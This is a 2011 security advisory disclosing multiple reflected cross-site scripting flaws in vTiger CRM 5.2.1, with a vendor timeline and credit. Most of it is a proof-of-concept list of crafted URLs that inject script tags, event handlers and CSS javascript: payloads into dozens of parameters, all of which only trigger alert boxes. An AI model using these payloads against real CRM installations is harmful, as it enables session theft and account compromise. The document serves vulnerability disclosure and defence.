vTiger CRM 5.2.x <= Multiple Cross Site Scripting Vulnerabilities 1. OVERVIEW The vTiger CRM 5.2.1 and lower versions are vulnerable to Cross Site Scripting. No fixed version has been released as of 2011-10-04. 2. BACKGROUND vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal for small and medium businesses, with low-cost product support available to production users that need reliable support. vtiger CRM is a widely used product with thousands of users in dozens of countries. It has a vibrant community of users driving the product forward, and contributing to it's development. Over 2 million copies of vtiger CRM have been downloaded so far. It was launched as a fork of version 1.0 of the SugarCRM project launched on December 31st, 2004. 3. VULNERABILITY DESCRIPTION Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED Tested on 5.2.1 5. PROOF-OF-CONCEPT/EXPLOIT Cross Site Scripting ====================== Browser: IE --------------- Parameter: return_url /index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1&return_url="><script>alert(/XSS/)</script> Parameter: workflow_id /index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1'"><script>alert(/XSS/)</script>&return_url=1 Browser: ALL ------------------ Parameter: action /phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=My Home Page"><script>alert(0)</script>&jt= Parameter: module /phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt= Parameter: closingdate_end /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01aa8ed'><script>alert(/xss/)</script>e8e16680dfc&query=true&type=dbrd&owner=admin&viewname=10 Parameter: closingdate_start parameter /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-0189b81'><script>alert(1)</script>&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=1 Parameter: contact_id /index.php?module=Calendar&action=EditView&return_module=Contacts&return_action=DetailView&activity_mode=Events&return_id=29&contact_id=><script>alert(1)</script>d3ef7f5e017&account_id=16&parenttab=Marketing Parameter: date_closed /index.php?module=Potentials&action=ListView&date_closed=2006-01'><script>alert(1)</script>&sales_stage=Other&query=true&type=dbrd&owner=admin&viewname=10 Parameter: day Note: Move your mouse over the input text box 'pagenum' , "1" of "1" /index.php?action=index&module=Calendar&view=week&hour=0&day=5%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x Parameter: month Note: Move your mouse over the input text box 'pagenum' , "1" of "1" /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x=%22&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1 Parameter: owner Note: Move your mouse over the texts "Potential No.", "Potential Name",..etc /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin%27%20onmouseover%3d%27alert(/XSS/)%27%2520x%253d%27&viewname=10 Parameter: leadsource /index.php?module=Potentials&action=ListView&leadsource=--None--'><script>alert(1)</script>&query=true&type=dbrd&viewname=10 Parameter: mode /index.php?module=Settings&action=profilePrivileges&mode=view%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&parenttab=Settings&profileid=1 Parameter: parent_id /index.php?module=Calendar&action=EditView&return_module=Leads&return_action=DetailView&activity_mode=Events&return_id=37&parent_id=37"><script>alert(/XSS/)</script>&parenttab=Marketin Parameter: profile_id /index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%3b}}alert(/XSS/)%3bfunction+xss(){x%3d=0;if(x){x%3d1&mode=view Parameter: query Note: Campaigns name 'test' must exist. Move your mouse over the 'edit' link. /index.php?module=Campaigns&searchtype=BasicSearch&search_field=campaignname&query=truef1de8%22%20onmouseover%3d%22alert%281%29%22%2007&search_text=test&action=index&parenttab=Marketing&search_cnt= Parameter: sales_stage /index.php?module=Potentials&action=ListView&sales_stage=Prospect'><script>alert(/XSS/)</script>x&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=10 Parameter: start Note: Move your mouse over the 'edit' link. /index.php?action=ListView&module=Calendar&record=116&viewname=19&start=1371b1"%20onmouseover="alert(0)"%20a%3db%22&parenttab=My%20Home%20Page Parameter: subtab Note: Move your mouse over the "Day", "Week", "Month", "Year" /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&parenttab=My&onlyforuser=1 Parameter: type Note: Move your mouse over the texts "Potential No.", "Potential Name",..etc /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=db%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&owner=admin&viewname=10 Parameter: view /index.php?action=index&module=Calendar&view=week'%20onload%3d%22alert%28/XSS/)%22%20x=%22&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1 Parameter: viewOption /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview%27%29%22%20%20onload%3d%22alert%28/XSS/%29%22%20x=%22&subtab=event&parenttab=My&onlyforuser=1 Parameter: viewname /index.php?module=Calendar&action=CalendarAjax&file=ListView&ajax=changestate&viewname=10"'%20onmouseover=alert(/XSS/)%20x='&errormsg= Browser: IE 6, IE 7, FF 4 < XSS in Hidden Input Tag ============================ Parameter: activity_mode Note: For this example, record id 116 needs to exist /index.php?action=DetailView&module=Calendar&record=116&activity_mode=Task%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&parenttab=My Parameter: display_view /index.php?module=Dashboard&action=index&display_view=50%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&pbss_edit=true Parameter: folderid /index.php?module=Reports&action=SaveAndRun&record=1&folderid=17920%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS Parameter: groupId /index.php?module=Settings&action=createnewgroup&returnaction=listgroups&parenttab=Settings&mode=edit&groupId=2%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS Parameter: mode /index.php?module=Settings&action=createrole&roleid=H2&parenttab=Settings&mode=edit%22%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS Parameter: parent index.php?module=Settings&action=createrole&parenttab=Settings&parent=H%22%20style=%22background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block; Parameter: profile_id /index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%22%20style%3dbackground%2dimage%2durl('javascript:alert(0)')%3bwidth:1000px;height:1000px;display:block;%22%20x%3d&mode=view Parameter: return_action /index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns&return_action=index"%20style%3d"x%3aexpression(alert(1))"%20x="s&parenttab=Marketing&return_viewname=29 Parameter: return_module /index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&return_action=index&parenttab=Marketing&return_viewname=29 Parameter: returnaction /index.php?module=Settings&action=createnewgroup&returnaction=listgroups"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Settings&mode=edit&groupId=2 Parameter: roleid /index.php?module=Settings&action=RoleDetailView&roleid=H2"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s Parameter: src_module /index.php?module=Settings&action=ModuleManager&module_update=Step1&src_module=Mobile3"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Setting Parameter: view /index.php?action=index&module=Calendar&view=week"%20style%3d"xss%3aexpression(alert(1))"&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1 6. SOLUTION No patched version is available yet. The vendor hasn't attempted to fix the issues though they acknowledged the reports. 7. VENDOR vTiger Development Team http://www.vtiger.com/ 8. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2010-12-08: notified vendor 2011-10-04: no fixed version released yet 2011-10-04: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5BvTiger_5.2.1%5D_XSS Wiki VtigerCRM: https://secure.wikimedia.org/wikipedia/en/wiki/Vtiger_CRM #yehg [2011-10-04]